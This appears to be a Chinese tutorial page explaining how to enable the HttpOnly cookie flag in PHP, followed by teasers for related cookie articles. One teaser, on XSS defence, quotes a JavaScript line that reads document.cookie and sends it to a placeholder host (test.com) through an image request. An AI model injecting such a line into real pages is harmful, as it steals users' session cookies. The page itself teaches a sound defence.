PHP设置Cookie的HTTPONLY属性方法

httponly是微软对cookie做的扩展,这个主要是解决用户的cookie可能被盗用的问题。

大家都知道,当我们去邮箱或者论坛登陆后,服务器会写一些cookie到我们的浏览器,当下次再访问其他页面时,由于浏览器回自动传递cookie,这样就实现了一次登陆就可以看到所有需要登陆后才能看到的内容。也就是说,实质上,所有的登陆状态这些都是建立在cookie上的!假设我们登陆后的cookie被人获得,那就会有暴露个人信息的危险!当然,想想,其他人怎么可以获得客户的cookie?那必然是有不怀好意的人的程序在浏览器里运行!如果是现在满天飞的流氓软件,那没有办法,httponly也不是用来解决这种情况的,它是用来解决浏览器里javascript访问cookie的问题。试想,一个flash程序在你的浏览器里运行,就可以获得你的cookie的!

IE6的SP1里就带了对httponly的支持,所以相对还说还是些安全性。

PHP中的设置

PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中
-----------------------------------------------------
session.cookie_httponly =
-----------------------------------------------------

设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:

<?php ini_set("session.cookie_httponly", 1);
 // or session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
?>

Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:

<?php
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
?>

对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:

<?php
header("Set-Cookie: hidden=value; httpOnly");
?>

以上这篇PHP设置Cookie的HTTPONLY属性方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持我们。

(0)

相关推荐

  • xss防御之php利用httponly防xss攻击

    xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了... 如下js获取cookie信息: 复制代码 代码如下: url=document.top.location.href;cookie=document.cookie;c=new Image();c.src='http://www.test.com/c.php?c

  • 详解HTTP Cookie状态管理机制

    HTTP cookies,通常又称作"cookies",已经存在了很长时间,但是仍旧没有被予以充分的理解.首要的问题是存在了诸多误区,认为cookies是后门程序或病毒,或压根不知道它是如何工作的.第二个问题是对于cookies缺少一个一致性的接口.尽管存在着这些问题,cookies仍旧在web开发中起着如此重要的作用,以至于如果cookie在没有可替代品出现的情况下消失,我们许多喜欢的Web应用将变得毫无用处. 一.cookie 起源 cookie 最早是网景公司的雇员 Lou Mo

  • PHP设置Cookie的HTTPONLY属性方法

    httponly是微软对cookie做的扩展,这个主要是解决用户的cookie可能被盗用的问题. 大家都知道,当我们去邮箱或者论坛登陆后,服务器会写一些cookie到我们的浏览器,当下次再访问其他页面时,由于浏览器回自动传递cookie,这样就实现了一次登陆就可以看到所有需要登陆后才能看到的内容.也就是说,实质上,所有的登陆状态这些都是建立在cookie上的!假设我们登陆后的cookie被人获得,那就会有暴露个人信息的危险!当然,想想,其他人怎么可以获得客户的cookie?那必然是有不怀好意的人

  • 详解Springboot应用中设置Cookie的SameSite属性

    Cookie除了key和value以外有几个属性. httpOnly 是否允许js读取cookie secure 是否仅仅在https的链接下,才提交cookie domain cookie提交的域 path cookie提交的path maxAge cookie存活时间 sameSite 同站策略,枚举值:Strict Lax None 其他的都很熟悉了,最后一个是 Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪. 关

  • PHP setcookie指定domain参数后,在IE下设置cookie失效的解决方法

    下面的代码:在chrome和firefox下可以生成三个cookie: cookie[one].cookie[two].cookie[three] 在IE下,只能生成cookie[one].cookie[two]两个cookie,第三个因为指定了".65.la",导致cookie[three]生成失败. 复制代码 代码如下: <?php setcookie("cookie[one]", "cookieone",time()+36000,&q

  • Go语言读取,设置Cookie及设置cookie过期方法详解

    Cookie用来解决http协议无状态的问题. 首先,在服务端生成Cookie,然后在http响应header中设置Set-Cookie字段,客户端会读取到Set-Cookie字段后,会将cookie信息存储起来,下次继续访问服务端时,会在http请求中设置Cookie字段并发送给服务端,服务端可以解析这个Cookie字段,从而知道这个客户端之前已经和自己有过会话(上下文),然后再执行相应的逻辑代码. Cookie分为两种类型:session cookie和persistent cookie.

  • safari cookie设置中文失败的解决方法

    最近用H5进行手机端开发,由于是window操作系统,为了方便开发和调试,直接在chrome浏览器上进行测试,然后在android机上进行手机端测试,当功能基本完工后,原来在android上运行正常的应用,在IOS上运行时,出现很多奇怪的问题,根据排查,发现是由于cookie未取到值而导致相关信息无法获取. 一开始以为是cookie中文乱码的问题,后来跟踪发现,cookie的值压根就没赋值成功,网上查了资料,发现safari不允许非ASCII编码的值,换句话说:不允许中文存储. 为了解决这个问题

  • CodeIgniter删除和设置Cookie的方法

    本文实例讲述了CodeIgniter删除和设置Cookie的方法.分享给大家供大家参考.具体如下: $cookie = array( 'name' => 'loggedin', 'value' => 'yes', 'expire' => '86500', 'domain' => '.apol0829.dev', 'prefix' => 'apollidon_' ); set_cookie($cookie); $cookie = array( 'name' => 'log

  • 通过js动态创建标签,并设置属性方法

    当我们在写jsp页面时,往往会遇到这种情况:从后台获取的数据个数不确定,此时在前端写jsp页面时也就不确定怎么设计了.这个时候就需要通过js动态创建标签: 1.创建某个标签:如下在body中创建一个div的事例: <script> function fun(){ var frameDiv = document.createElement("div");//创建一个标签 var bodyFa = document.getElementById("bodyid&quo

  • iOS经验之初始化方法中不该设置self.view的属性浅析

    前言 iOS初始化方法包括系统默认的和自定义的,常见系统初始化方法有init, initWithFrame:, initWithNibName:bundle:等,自定义则是各式各样.日常iOS项目开发过程中,我们经常在类的初始化方法中初始化接下来类需要用到的一些必要的数据或界面. 本文主要介绍的是关于iOS初始化方法不设置self.view属性的相关内容,属于 iOS小经验系列:累积平时看起来简单,但容易忽视的小经验,各路大佬敬请回避. 正文: 有个小伙伴新写了一个NextViewControl

  • Asp.net内置对象之Cookies(简介/属性方法/基本操作及实例)

    一.了解Cookies对象 Cookies是由Web服务器管理的存放在客户计算机中的一个数据集合.这些数据是客户端.服务器端相关的.也就是说客户浏览器每登录一个网站,在Cookies中就会保存客户浏览器与该网站的相关信息.即使客户用同一个浏览器登陆了多个网站,在Cookies中依然会保存浏览器与多个网站的相关信息,但Cookies中这些信息的管理是有序的,当客户浏览器再次登录某网站时,只有Cookies中相对应的信息会发生作用. Cookies是Web应用程序设计的一项很重要的技术,当Web服务

  • js使用cookie记录用户名的方法

    本文实例讲述了js使用cookie记录用户名的方法.分享给大家供大家参考,具体如下: cookie思路:当点击登录按钮时,把cookie存起来,再次访问的时候就读取cookie,即把txt的value设置之前存起来cookie的值就行. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt

随机推荐